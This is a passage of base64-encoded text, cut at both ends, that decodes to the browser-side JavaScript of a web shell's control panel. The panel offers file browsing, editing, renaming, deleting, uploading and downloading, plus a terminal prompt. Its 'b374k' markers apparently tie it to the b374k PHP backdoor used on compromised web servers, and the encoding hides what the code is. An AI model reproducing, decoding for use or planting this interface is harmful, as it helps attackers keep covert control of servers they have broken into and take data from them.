5zaG93KCk7CgkJCSQoJyNzaG93aW5mbycpLmhpZGUoKTsKCQkJbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2luZm9CYXJTaG93bicsICdzaG93bicpOwoJCX0pOwoJCQoJCWlmKChpbmZvQmFyU2hvd24gPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnaW5mb0JhclNob3duJykpKXsKCQkJaWYoaW5mb0JhclNob3duPT0nc2hvd24nKXsKCQkJCSQoJyNiYXNpY0luZm8nKS5zaG93KCk7CgkJCQkkKCcjc2hvd2luZm8nKS5oaWRlKCk7CgkJCX0KCQkJZWxzZXsKCQkJCSQoJyNiYXNpY0luZm8nKS5oaWRlKCk7CgkJCQkkKCcjc2hvd2luZm8nKS5zaG93KCk7CgkJCQkkKCcjdG9nZ2xlQmFzaWNJbmZvJykuaGlkZSgpOwoJCQl9CgkJfQoJCWVsc2V7CgkJCWluZm9fcmVmcmVzaCgpOwoJCX0KCgkJaWYoaGlzdG9yeS5wdXNoU3RhdGUpewoJCQl3aW5kb3cub25wb3BzdGF0ZSA9IGZ1bmN0aW9uKGV2ZW50KSB7IHJlZnJlc2hfdGFiKCk7IH07CgkJfQoJCWVsc2V7CgkJCXdpbmRvdy5oaXN0b3J5RXZlbnQgPSBmdW5jdGlvbihldmVudCkgewlyZWZyZXNoX3RhYigpOyB9OwoJCX0KCX0KfSk7CgpmdW5jdGlvbiBvdXRwdXQoc3RyKXsKCWNvbnNvbGUubG9nKCdiMzc0az4gJytzdHIpOwp9CgpmdW5jdGlvbiB3aW5kb3dfcmVzaXplKCl7Cglib2R5V2lkdGggPSAkKCdib2R5Jykud2lkdGgoKTsKCWlmKGJvZHlXaWR0aDw9cG9ydGFibGVXaWR0aCl7CgkJbGF5b3V0X3BvcnRhYmxlKCk7Cgl9CgllbHNlewoJCWxheW91dF9ub3JtYWwoKTsKCX0KfQoKZnVuY3Rpb24gbGF5b3V0X3BvcnRhYmxlKCl7CgluYXYgPSAkKCcjbmF2Jyk7CgltZW51ID0gJCgnI21lbnUnKTsKCWhlYWRlck5hdiA9ICQoJyNoZWFkZXJOYXYnKTsKCWNvbnRlbnQgPSAkKCcjY29udGVudCcpOwoKCS8vbmF2LmhpZGUoKTsKCW5hdi5wcmVwZW5kVG8oJyNjb250ZW50Jyk7CgluYXYuY3NzKCdwYWRkaW5nJywnNXB4IDhweCcpOwoJbmF2LmNzcygnbWFyZ2luLXRvcCcsICc4cHgnKTsKCW5hdi5jc3MoJ2Rpc3BsYXknLCdibG9jaycpOwoJbmF2LmFkZENsYXNzKCdib3JkZXInKTsKCQoJbWVudS5jaGlsZHJlbigpLmNzcygnd2lkdGgnLCAnMTAwJScpOwoJbWVudS5oaWRlKCk7CgkkKCcjbWVudUJ1dHRvbicpLnJlbW92ZSgpOwkKCWhlYWRlck5hdi5wcmVwZW5kKCI8ZGl2IGlkPSdtZW51QnV0dG9uJyBjbGFzcz0nYm94dGl0bGUnIG9uY2xpY2s9XCIkKCcjbWVudScpLnRvZ2dsZSgpO1wiIHN0eWxlPSdmbG9hdC1sZWZ0O2Rpc3BsYXk6aW5saW5lO3BhZGRpbmc6NHB4IDhweDttYXJnaW4tcmlnaHQ6OHB4Oyc+bWVudTwvZGl2PiIpOwoJbWVudS5hdHRyKCdvbmNsaWNrJywgIlwkKCcjbWVudScpLmhpZGUoKTsiKTsKCQoJJCgnI3hwbFRhYmxlIHRyPjpudGgtY2hpbGQoNCknKS5oaWRlKCk7CgkkKCcjeHBsVGFibGUgdHI+Om50aC1jaGlsZCg1KScpLmhpZGUoKTsKCWlmKCF3aW4pewoJCSQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDYpJykuaGlkZSgpOwoJfQoJCgl0Ymxmb290ID0gJCgnI3hwbFRhYmxlIHRmb290IHRkOmxhc3QtY2hpbGQnKTsKCWlmKHRibGZvb3RbMF0pIHRibGZvb3RbMF0uY29sU3BhbiA9IDE7CglpZih0Ymxmb290WzFdKSB0Ymxmb290WzFdLmNvbFNwYW4gPSAyOwoJCgkKCSQoJy5ib3gnKS5jc3MoJ3dpZHRoJywgJzEwMCUnKTsKCSQoJy5ib3gnKS5jc3MoJ2hlaWdodCcsICcxMDAlJyk7CgkkKCcuYm94JykuY3NzKCdsZWZ0JywgJzBweCcpOwoJJCgnLmJveCcpLmNzcygndG9wJywgJzBweCcpOwoJCQoJcGFkZGluZ1RvcCA9ICQoJyNoZWFkZXInKS5oZWlnaHQoKTsKCWNvbnRlbnQuY3NzKCdwYWRkaW5nLXRvcCcsIHBhZGRpbmdUb3ArJ3B4Jyk7CgkKCXBvcnRhYmxlTW9kZSA9IHRydWU7Cn0KCmZ1bmN0aW9uIGxheW91dF9ub3JtYWwoKXsJCgluYXYgPSAkKCcjbmF2Jyk7CgltZW51ID0gJCgnI21lbnUnKTsJCgljb250ZW50ID0gJCgnI2NvbnRlbnQnKTsKCgluYXYuaW5zZXJ0QWZ0ZXIoJyNiMzc0aycpOwoJbmF2LmNzcygncGFkZGluZycsJzAnKTsKCW5hdi5jc3MoJ21hcmdpbi10b3AnLCAnMCcpOwoJbmF2LmNzcygnZGlzcGxheScsJ2lubGluZScpOwoJbmF2LnJlbW92ZUNsYXNzKCdib3JkZXInKTsKCQoJbWVudS5jaGlsZHJlbigpLmNzcygnd2lkdGgnLCAnYXV0bycpOwoJbWVudS5zaG93KCk7CgkkKCcjbWVudUJ1dHRvbicpLnJlbW92ZSgpOwoJbWVudS5hdHRyKCdvbmNsaWNrJywgIiIpOwoJCgkkKCcjeHBsVGFibGUgdHI+Om50aC1jaGlsZCg0KScpLnNob3coKTsKCSQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDUpJykuc2hvdygpOwoJaWYoIXdpbil7CgkJJCgnI3hwbFRhYmxlIHRyPjpudGgtY2hpbGQoNiknKS5zaG93KCk7CgkJY29sc3BhbiA9IDQ7Cgl9CgllbHNlIGNvbHNwYW4gPSAzOwoJCgl0Ymxmb290ID0gJCgnI3hwbFRhYmxlIHRmb290IHRkOmxhc3QtY2hpbGQnKTsKCWlmKHRibGZvb3RbMF0pIHRibGZvb3RbMF0uY29sU3BhbiA9IGNvbHNwYW47CglpZih0Ymxmb290WzFdKSB0Ymxmb290WzFdLmNvbFNwYW4gPSBjb2xzcGFuKzE7CgoJcGFkZGluZ1RvcCA9ICQoJyNoZWFkZXInKS5oZWlnaHQoKTsKCWNvbnRlbnQuY3NzKCdwYWRkaW5nLXRvcCcsIHBhZGRpbmdUb3ArJ3B4Jyk7CgkKCXBvcnRhYmxlTW9kZSA9IGZhbHNlOwp9CgpmdW5jdGlvbiBzdGFydF9zY3JvbGwoc3RyKXsKCWlmKHN0cj09J3RvcCcpewoJCXRvID0gJCh3aW5kb3cpLnNjcm9sbFRvcCgpIC0gc2Nyb2xsQ291bnRlcjsKCQlzY3JvbGxDb3VudGVyID0gc2Nyb2xsRGVsdGEgKyBzY3JvbGxDb3VudGVyOwoJCWlmKHRvPD0wKXsKCQkJdG8gPSAwOwoJCQlvblNjcm9sbCA9IGZhbHNlOwoJCX0KCQllbHNlIGlmKG9uU2Nyb2xsKXsKCQkJc2Nyb2xsVGltZXIgPSBzZXRUaW1lb3V0KCJzdGFydF9zY3JvbGwoJ3RvcCcpIiwgc2Nyb2xsU3BlZWQpOwoJCQkkKHdpbmRvdykuc2Nyb2xsVG9wKHRvKTsKCQl9Cgl9CgllbHNlIGlmKHN0cj09J2JvdHRvbScpewoJCXRvID0gJCh3aW5kb3cpLnNjcm9sbFRvcCgpICsgc2Nyb2xsQ291bnRlcjsKCQlzY3JvbGxDb3VudGVyID0gc2Nyb2xsRGVsdGEgKyBzY3JvbGxDb3VudGVyOwoJCWJvdHRvbSA9ICQoZG9jdW1lbnQpLmhlaWdodCgpLSQod2luZG93KS5oZWlnaHQoKTsKCQlpZih0bz49Ym90dG9tKXsKCQkJdG8gPSBib3R0b207CgkJCW9uU2Nyb2xsID0gZmFsc2U7CgkJfQoJCWVsc2UgaWYob25TY3JvbGwpewoJCQlzY3JvbGxUaW1lciA9IHNldFRpbWVvdXQoInN0YXJ0X3Njcm9sbCgnYm90dG9tJykiLCBzY3JvbGxTcGVlZCk7CgkJCSQod2luZG93KS5zY3JvbGxUb3AodG8pOwoJCX0KCX0KfQoKZnVuY3Rpb24gZ2V0X2N3ZCgpewoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChnZXRfY29va2llKCdjd2QnKSk7Cn0KCmZ1bmN0aW9uIGZpeF90YWJjaGFyKGVsLCBlKXsKCWlmKGUua2V5Q29kZT09OSl7CgkJZS5wcmV2ZW50RGVmYXVsdCgpOwoJCXZhciBzID0gZWwuc2VsZWN0aW9uU3RhcnQ7CgkJZWwudmFsdWUgPSBlbC52YWx1ZS5zdWJzdHJpbmcoMCxlbC5zZWxlY3Rpb25TdGFydCkgKyAiXHQiICsgZWwudmFsdWUuc3Vic3RyaW5nKGVsLnNlbGVjdGlvbkVuZCk7CgkJZWwuc2VsZWN0aW9uRW5kID0gcysxOwoJfQp9CgpmdW5jdGlvbiBnZXRfY29va2llKGtleSl7Cgl2YXIgcmVzOwoJcmV0dXJuIChyZXMgPSBuZXcgUmVnRXhwKCcoPzpefDsgKScgKyBlbmNvZGVVUklDb21wb25lbnQoa2V5KSArICc9KFteO10qKScpLmV4ZWMoZG9jdW1lbnQuY29va2llKSkgPyAocmVzWzFdKSA6IG51bGw7Cn0KCmZ1bmN0aW9uIHNldF9jb29raWUoa2V5LCB2YWx1ZSl7Cglkb2N1bWVudC5jb29raWUgPSBrZXkgKyAnPScgKyBlbmNvZGVVUklDb21wb25lbnQodmFsdWUpOwp9CgpmdW5jdGlvbiBodG1sX3NhZmUoc3RyKXsKCWlmKHR5cGVvZihzdHIpID09ICJzdHJpbmciKXsKCQlzdHIgPSBzdHIucmVwbGFjZSgvJi9nLCAiJmFtcDsiKTsKCQlzdHIgPSBzdHIucmVwbGFjZSgvIi9nLCAiJnF1b3Q7Iik7CgkJc3RyID0gc3RyLnJlcGxhY2UoLycvZywgIiYjMDM5OyIpOwoJCXN0ciA9IHN0ci5yZXBsYWNlKC88L2csICImbHQ7Iik7CgkJc3RyID0gc3RyLnJlcGxhY2UoLz4vZywgIiZndDsiKTsKCX0KCXJldHVybiBzdHI7Cn0KCmZ1bmN0aW9uIHVjZmlyc3Qoc3RyKXsKCXJldHVybiBzdHIuY2hhckF0KDApLnRvVXBwZXJDYXNlKCkgKyBzdHIuc2xpY2UoMSk7Cn0KCmZ1bmN0aW9uIHRpbWUoKXsKCXZhciBkID0gbmV3IERhdGUoKTsKCXJldHVybiBkLmdldFRpbWUoKTsKfQoKZnVuY3Rpb24gc2VuZF9wb3N0KHRhcmdldGRhdGEsIGNhbGxiYWNrLCBsb2FkaW5nKXsKCWlmKGxvYWRpbmc9PW51bGwpIGxvYWRpbmdfc3RhcnQoKTsKCSQuYWpheCh7CgkJdXJsOiB0YXJnZXR1cmwsCgkJdHlwZTogJ1BPU1QnLAoJCWRhdGE6IHRhcmdldGRhdGEsCgkJc3VjY2VzczogZnVuY3Rpb24ocmVzKXsKCQkJY2FsbGJhY2socmVzKTsKCQkJaWYobG9hZGluZz09bnVsbCkgbG9hZGluZ19zdG9wKCk7CgkJfSwKCQllcnJvcjogZnVuY3Rpb24oKXsgaWYobG9hZGluZz09bnVsbCkgbG9hZGluZ19zdG9wKCk7IH0KCX0pOwp9CgpmdW5jdGlvbiBsb2FkaW5nX3N0YXJ0KCl7CglpZighcnVubmluZyl7CgkJJCgnI292ZXJsYXknKS5zaG93KCk7CgkJcnVubmluZyA9IHRydWU7CgkJbG9hZGluZ19sb29wKCk7Cgl9Cn0KCmZ1bmN0aW9uIGxvYWRpbmdfbG9vcCgpewoJaWYocnVubmluZyl7CgkJaW1nID0gJCgnI2xvYWRpbmcnKTsKCQlpbWcuY3NzKCd0cmFuc2Zvcm0nLCAncm90YXRlKCcrbG9hZGluZ19jb3VudCsnZGVnKScpOwoJCWltZy5jc3MoJy1tcy10cmFuc2Zvcm0nLCAncm90YXRlKCcrbG9hZGluZ19jb3VudCsnZGVnKScpOwoJCWltZy5jc3MoJy13ZWJraXQtdHJhbnNmb3JtJywgJ3JvdGF0ZSgnK2xvYWRpbmdfY291bnQrJ2RlZyknKTsKCgkJbG9hZGluZ19jb3VudCs9NzsKCQlpZihsb2FkaW5nX2NvdW50PjM2MCkgbG9hZGluZ19jb3VudCA9IDA7CgkJaWYocnVubmluZykgc2V0VGltZW91dCgibG9hZGluZ19sb29wKCkiLDIwKTsKCX0KfQoKZnVuY3Rpb24gbG9hZGluZ19zdG9wKCl7CglpZihydW5uaW5nKXsKCQlpbWcgPSAkKCcjbG9hZGluZycpOwoJCWltZy5jc3MoJ3RyYW5zZm9ybScsICdyb3RhdGUoMGRlZyknKTsKCQlpbWcuY3NzKCctbXMtdHJhbnNmb3JtJywgJ3JvdGF0ZSgwZGVnKScpOwoJCWltZy5jc3MoJy13ZWJraXQtdHJhbnNmb3JtJywgJ3JvdGF0ZSgwZGVnKScpOwoKCQkkKCcjb3ZlcmxheScpLmhpZGUoKTsKCQlydW5uaW5nID0gZmFsc2U7Cgl9Cn0KCmZ1bmN0aW9uIHNob3dfdGFiKGlkKXsKCWlmKCFpZCl7CgkJaWYobG9jYXRpb24uaGFzaCE9JycpIGlkID0gbG9jYXRpb24uaGFzaC5zdWJzdHIoMik7CgkJZWxzZSBpZCA9IGRlZmF1bHRUYWI7Cgl9CglyZWZyZXNoX3RhYihpZCk7Cn0KCmZ1bmN0aW9uIHJlZnJlc2hfdGFiKGlkKXsKCWlmKCFpZCl7CgkJaWYobG9jYXRpb24uaGFzaCE9JycpIGlkID0gbG9jYXRpb24uaGFzaC5zdWJzdHIoMik7CgkJZWxzZSBpZCA9IGRlZmF1bHRUYWI7Cgl9CgkkKCcubWVudWl0ZW1TZWxlY3RlZCcpLnJlbW92ZUNsYXNzKCJtZW51aXRlbVNlbGVjdGVkIik7CgkkKCcjbWVudScraWQpLmFkZENsYXNzKCJtZW51aXRlbVNlbGVjdGVkIik7CgoJdGFiU2Nyb2xsW2N1cnJlbnRUYWIuYXR0cignaWQnKV0gPSAkKHdpbmRvdykuc2Nyb2xsVG9wKCk7CgljdXJyZW50VGFiLmhpZGUoKTsKCWN1cnJlbnRUYWIgPSAkKCcjJytpZCk7CgljdXJyZW50VGFiLnNob3coKTsKCXdpbmRvd1tpZF0oKTsKCWlmKHRhYlNjcm9sbFtpZF0pewoJCSQod2luZG93KS5zY3JvbGxUb3AodGFiU2Nyb2xsW2lkXSk7Cgl9CgloaWRlX2JveCgpOwp9CgpmdW5jdGlvbiB0cmFwX2VudGVyKGUsIGNhbGxiYWNrKXsKCWlmKGUua2V5Q29kZT09MTMpewoJCWlmKGNhbGxiYWNrIT1udWxsKSB3aW5kb3dbY2FsbGJhY2tdKCk7Cgl9Cn0KCmZ1bmN0aW9uIHNob3dfYm94KHRpdGxlLCBjb250ZW50KXsKCW9uRHJhZyA9IGZhbHNlOwoJaGlkZV9ib3goKTsKCWJveCA9ICI8ZGl2IGNsYXNzPSdib3gnPjxwIGNsYXNzPSdib3h0aXRsZSc+Iit0aXRsZSsiPHNwYW4gY2xhc3M9J2JveGNsb3NlIGZsb2F0UmlnaHQnPng8L3NwYW4+PC9wPjxkaXYgY2xhc3M9J2JveGNvbnRlbnQnPiIrY29udGVudCsiPC9kaXY+PGRpdiBjbGFzcz0nYm94cmVzdWx0Jz48L2Rpdj48L2Rpdj4iOwoJJCgnI2NvbnRlbnQnKS5hcHBlbmQoYm94KTsKCglib3hfd2lkdGggPSAkKCcuYm94Jykud2lkdGgoKTsKCWJvZHlfd2lkdGggPSAkKCdib2R5Jykud2lkdGgoKTsKCglib3hfaGVpZ2h0ID0gJCgnLmJveCcpLmhlaWdodCgpOwoJYm9keV9oZWlnaHQgPSAkKCdib2R5JykuaGVpZ2h0KCk7CgoJeCA9IChib2R5X3dpZHRoIC0gYm94X3dpZHRoKS8yOwoJeSA9IChib2R5X2hlaWdodCAtIGJveF9oZWlnaHQpLzI7CglpZih4PDAgfHwgcG9ydGFibGVNb2RlKSB4ID0gMDsKCWlmKHk8MCB8fCBwb3J0YWJsZU1vZGUpIHkgPSAwOwoJaWYocG9ydGFibGVNb2RlKXsKCQkkKCcuYm94JykuY3NzKCd3aWR0aCcsICcxMDAlJyk7CgkJJCgnLmJveCcpLmNzcygnaGVpZ2h0JywgJzEwMCUnKTsJCgl9CgoJJCgnLmJveCcpLmNzcygnbGVmdCcsIHgrJ3B4Jyk7CgkkKCcuYm94JykuY3NzKCd0b3AnLCB5KydweCcpOwoKCSQoJy5ib3hjbG9zZScpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCWhpZGVfYm94KCk7Cgl9KTsKCQoJaWYoIXBvcnRhYmxlTW9kZSl7CgkJJCgnLmJveHRpdGxlJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJCWlmKCFvbkRyYWcpewoJCQkJZHJhZ0RlbHRhWCA9IGUucGFnZVggLSBwYXJzZUludCgkKCcuYm94JykuY3NzKCdsZWZ0JykpOwoJCQkJZHJhZ0RlbHRhWSA9IGUucGFnZVkgLSBwYXJzZUludCgkKCcuYm94JykuY3NzKCd0b3AnKSk7CgkJCQlkcmFnX3N0YXJ0KCk7CgkJCX0KCQkJZWxzZSBkcmFnX3N0b3AoKTsKCQl9KTsKCX0KCgkkKGRvY3VtZW50KS5vZmYoJ2tleXVwJyk7CgkkKGRvY3VtZW50KS5vbigna2V5dXAnLCBmdW5jdGlvbihlKXsKCQlpZihlLmtleUNvZGUgPT0gMjcpIGhpZGVfYm94KCk7Cgl9KTsKCglpZigkKCcuYm94IGlucHV0JylbMF0pICQoJy5ib3ggaW5wdXQnKVswXS5mb2N1cygpOwp9CgpmdW5jdGlvbiBoaWRlX2JveCgpewoJJChkb2N1bWVudCkub2ZmKCdrZXl1cCcpOwoJJCgnLmJveCcpLnJlbW92ZSgpOwp9CgpmdW5jdGlvbiBkcmFnX3N0YXJ0KCl7CglpZighb25EcmFnKXsKCQlvbkRyYWcgPSB0cnVlOwoJCSQoJ2JvZHknKS5vZmYoJ21vdXNlbW92ZScpOwoJCSQoJ2JvZHknKS5vbignbW91c2Vtb3ZlJywgZnVuY3Rpb24oZSl7CgkJCWRyYWdYID0gZS5wYWdlWDsKCQkJZHJhZ1kgPSBlLnBhZ2VZOwoJCX0pOwoJCXNldFRpbWVvdXQoJ2RyYWdfbG9vcCgpJyw1MCk7Cgl9Cn0KCmZ1bmN0aW9uIGRyYWdfbG9vcCgpewoJaWYob25EcmFnKXsKCQl4ID0gZHJhZ1ggLSBkcmFnRGVsdGFYOwoJCXkgPSBkcmFnWSAtIGRyYWdEZWx0YVk7CgkJaWYoeTwwKXk9MDsKCQkkKCcuYm94JykuY3NzKCdsZWZ0JywgeCsncHgnKTsKCQkkKCcuYm94JykuY3NzKCd0b3AnLCB5KydweCcpOwoJCXNldFRpbWVvdXQoJ2RyYWdfbG9vcCgpJyw1MCk7Cgl9Cn0KCmZ1bmN0aW9uIGRyYWdfc3RvcCgpewoJb25EcmFnID0gZmFsc2U7CgkkKCdib2R5Jykub2ZmKCdtb3VzZW1vdmUnKTsKfQoKZnVuY3Rpb24gZ2V0X2FsbF9jYm94X3NlbGVjdGVkKGlkLCBjYWxsYmFjayl7Cgl2YXIgYnVmZmVyID0gbmV3IEFycmF5KCk7CgkkKCcjJytpZCkuZmluZCgnLmNCb3hTZWxlY3RlZCcpLm5vdCgnLmNCb3hBbGwnKS5lYWNoKGZ1bmN0aW9uKGkpewoJCWlmKChocmVmID0gd2luZG93W2NhbGxiYWNrXSgkKHRoaXMpKSkpewoJCQlidWZmZXJbaV0gPSBocmVmOwoJCX0KCX0pOwoJcmV0dXJuIGJ1ZmZlcjsKfQoKCmZ1bmN0aW9uIGNib3hfYmluZChpZCwgY2FsbGJhY2spewoJJCgnIycraWQpLmZpbmQoJy5jQm94Jykub2ZmKCdjbGljaycpOwoJJCgnIycraWQpLmZpbmQoJy5jQm94QWxsJykub2ZmKCdjbGljaycpOwoKCSQoJyMnK2lkKS5maW5kKCcuY0JveCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCWlmKCQodGhpcykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpKXsKCQkJJCh0aGlzKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyk7CgkJfQoJCWVsc2UgJCh0aGlzKS5hZGRDbGFzcygnY0JveFNlbGVjdGVkJyk7CgkJaWYoY2FsbGJhY2shPW51bGwpIHdpbmRvd1tjYWxsYmFja10oKTsKCX0pOwoJJCgnIycraWQpLmZpbmQoJy5jQm94QWxsJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJaWYoJCh0aGlzKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykpewoJCQkkKCcjJytpZCkuZmluZCgnLmNCb3gnKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyk7CgkJCSQoJyMnK2lkKS5maW5kKCcuY0JveEFsbCcpLnJlbW92ZUNsYXNzKCdjQm94U2VsZWN0ZWQnKTsKCQl9CgkJZWxzZXsKCQkJJCgnIycraWQpLmZpbmQoJy5jQm94Jykubm90KCcuY0JveEV4Y2VwdGlvbicpLmFkZENsYXNzKCdjQm94U2VsZWN0ZWQnKTsKCQkJJCgnIycraWQpLmZpbmQoJy5jQm94QWxsJykubm90KCcuY0JveEV4Y2VwdGlvbicpLmFkZENsYXNzKCdjQm94U2VsZWN0ZWQnKTsKCQl9CgkJaWYoY2FsbGJhY2shPW51bGwpIHdpbmRvd1tjYWxsYmFja10oKTsKCX0pOwp9CgoKZnVuY3Rpb24gYWN0aW9uKHBhdGgsIHR5cGUpewoJdGl0bGUgPSAiQWN0aW9uIjsKCWNvbnRlbnQgPSAnJzsKCWlmKHR5cGU9PSdmaWxlJykgY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIrcGF0aCsiJyBkaXNhYmxlZD48L3RkPjwvdHI+PHRyIGRhdGEtcGF0aD0nIitwYXRoKyInPjx0ZD48c3BhbiBjbGFzcz0nZWRpdCBidXR0b24nPmVkaXQ8L3NwYW4+PHNwYW4gY2xhc3M9J3JlbiBidXR0b24nPnJlbmFtZTwvc3Bhbj48c3BhbiBjbGFzcz0nZGVsIGJ1dHRvbic+ZGVsZXRlPC9zcGFuPjxzcGFuIGNsYXNzPSdkbCBidXR0b24nPmRvd25sb2FkPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CglpZih0eXBlPT0nZGlyJykgY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIrcGF0aCsiJyBkaXNhYmxlZD48L3RkPjwvdHI+PHRyIGRhdGEtcGF0aD0nIitwYXRoKyInPjx0ZD48c3BhbiBjbGFzcz0nZmluZCBidXR0b24nPmZpbmQ8L3NwYW4+PHNwYW4gY2xhc3M9J3VsIGJ1dHRvbic+dXBsb2FkPC9zcGFuPjxzcGFuIGNsYXNzPSdyZW4gYnV0dG9uJz5yZW5hbWU8L3NwYW4+PHNwYW4gY2xhc3M9J2RlbCBidXR0b24nPmRlbGV0ZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJaWYodHlwZT09J2RvdCcpIGNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQ+PGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciK3BhdGgrIicgZGlzYWJsZWQ+PC90ZD48L3RyPjx0ciBkYXRhLXBhdGg9JyIrcGF0aCsiJz48dGQ+PHNwYW4gY2xhc3M9J2ZpbmQgYnV0dG9uJz5maW5kPC9zcGFuPjxzcGFuIGNsYXNzPSd1bCBidXR0b24nPnVwbG9hZDwvc3Bhbj48c3BhbiBjbGFzcz0ncmVuIGJ1dHRvbic+cmVuYW1lPC9zcGFuPjxzcGFuIGNsYXNzPSdkZWwgYnV0dG9uJz5kZWxldGU8L3NwYW4+PHNwYW4gY2xhc3M9J25ld2ZpbGUgYnV0dG9uJz5uZXcgZmlsZTwvc3Bhbj48c3BhbiBjbGFzcz0nbmV3Zm9sZGVyIGJ1dHRvbic+bmV3IGZvbGRlcjwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwoJeHBsX2JpbmQoKTsKfQoKZnVuY3Rpb24gbmF2aWdhdGUocGF0aCwgc2hvd2ZpbGVzKXsKCWlmKHNob3dmaWxlcz09bnVsbCkgc2hvd2ZpbGVzID0gJ3RydWUnOwoJc2VuZF9wb3N0KHsgY2Q6cGF0aCwgc2hvd2ZpbGVzOnNob3dmaWxlcyB9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCXNwbGl0cyA9IHJlcy5zcGxpdCgne1t8YjM3NGt8XX0nKTsKCQkJaWYoc3BsaXRzLmxlbmd0aD09Myl7CgkJCQkkKCcjbmF2JykuaHRtbChzcGxpdHNbMV0pOwoJCQkJaWYoc2hvd2ZpbGVzPT0ndHJ1ZScpewoJCQkJCSQoJyNleHBsb3JlcicpLmh0bWwoJycpOwoJCQkJCSQoJyNleHBsb3JlcicpLmh0bWwoc3BsaXRzWzJdKTsKCQkJCQlzb3J0dGFibGUuaygkKCcjeHBsVGFibGUnKS5nZXQoMCkpOwoJCQkJfQoJCQkJJCgnI3Rlcm1pbmFsQ3dkJykuaHRtbChodG1sX3NhZmUoZ2V0X2N3ZCgpKSsnJmd0OycpOwoJCQkJeHBsX2JpbmQoKTsKCQkJCXdpbmRvd19yZXNpemUoKTsKCQkJfQoJCX0KCX0pOwp9CgpmdW5jdGlvbiB2aWV3KHBhdGgsIHR5cGUsIHByZXNlcnZlVGltZXN0YW1wKXsKCWlmKHByZXNlcnZlVGltZXN0YW1wPT1udWxsKSBwcmVzZXJ2ZVRpbWVzdGFtcCA9ICd0cnVlJzsKCXNlbmRfcG9zdCh7IHZpZXdGaWxlOiBwYXRoLCB2aWV3VHlwZTogdHlwZSwgcHJlc2VydmVUaW1lc3RhbXA6cHJlc2VydmVUaW1lc3RhbXAgfSwgZnVuY3Rpb24ocmVzKXsKCQlpZihyZXMhPSdlcnJvcicpewoJCQkkKCcjZXhwbG9yZXInKS5odG1sKCcnKTsKCQkJJCgnI2V4cGxvcmVyJykuaHRtbChyZXMpOwoJCQl4cGxfYmluZCgpOwoJCQlzaG93X3RhYignZXhwbG9yZXInKTsKCQkJaWYoKHR5cGU9PSdlZGl0Jyl8fCh0eXBlPT0naGV4JykpewoJCQkJZWRpdFJlc3VsdCA9ICh0eXBlPT0nZWRpdCcpPyAkKCcjZWRpdFJlc3VsdCcpOiQoJyNlZGl0SGV4UmVzdWx0Jyk7CgkJCQlpZihlZGl0U3VjY2Vzcz09J3N1Y2Nlc3MnKXsKCQkJCQllZGl0UmVzdWx0Lmh0bWwoJyAoIEZpbGUgc2F2ZWQgKScpOwoJCQkJfQoJCQkJZWxzZSBpZihlZGl0U3VjY2Vzcz09J2Vycm9yJyl7CgkJCQkJZWRpdFJlc3VsdC5odG1sKCcgKCBGYWlsZWQgdG8gc2F2ZSBmaWxlICknKTsKCQkJCX0KCQkJCWVkaXRTdWNjZXNzID0gJyc7CgkJCX0KCQkJY2JveF9iaW5kKCdlZGl0VGJsJyk7CgkJfQoJfSk7Cn0KCmZ1bmN0aW9uIHZpZXdfZW50cnkoZWwpewoJaWYoJChlbCkuYXR0cignZGF0YS1wYXRoJykhPScnKXsKCQllbnRyeSA9ICQoZWwpLmF0dHIoJ2RhdGEtcGF0aCcpOwoJCSQoJyNmb3JtJykuYXBwZW5kKCI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd2aWV3RW50cnknIHZhbHVlPSciK2VudHJ5KyInPiIpOwoJCSQoJyNmb3JtJykuc3VibWl0KCk7CgkJJCgnI2Zvcm0nKS5odG1sKCcnKTsKCX0KfQoKZnVuY3Rpb24gcmVuKHBhdGgpewoJdGl0bGUgPSAiUmVuYW1lIjsKCWNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+UmVuYW1lIHRvPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdyZW5hbWVGaWxlVG8nIHZhbHVlPSciICtwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdyZW5fZ28nKTtcIj48aW5wdXQgdHlwZT0naGlkZGVuJyBjbGFzcz0ncmVuYW1lRmlsZScgdmFsdWU9JyIrcGF0aCsiJz48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSdyZW5fZ28oKTsnPnJlbmFtZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CgpmdW5jdGlvbiByZW5fZ28oKXsKCXJlbmFtZUZpbGUgPSAkKCcucmVuYW1lRmlsZScpLnZhbCgpOwoJcmVuYW1lRmlsZVRvID0gJCgnLnJlbmFtZUZpbGVUbycpLnZhbCgpOwoJc2VuZF9wb3N0KHtyZW5hbWVGaWxlOnJlbmFtZUZpbGUsIHJlbmFtZUZpbGVUbzpyZW5h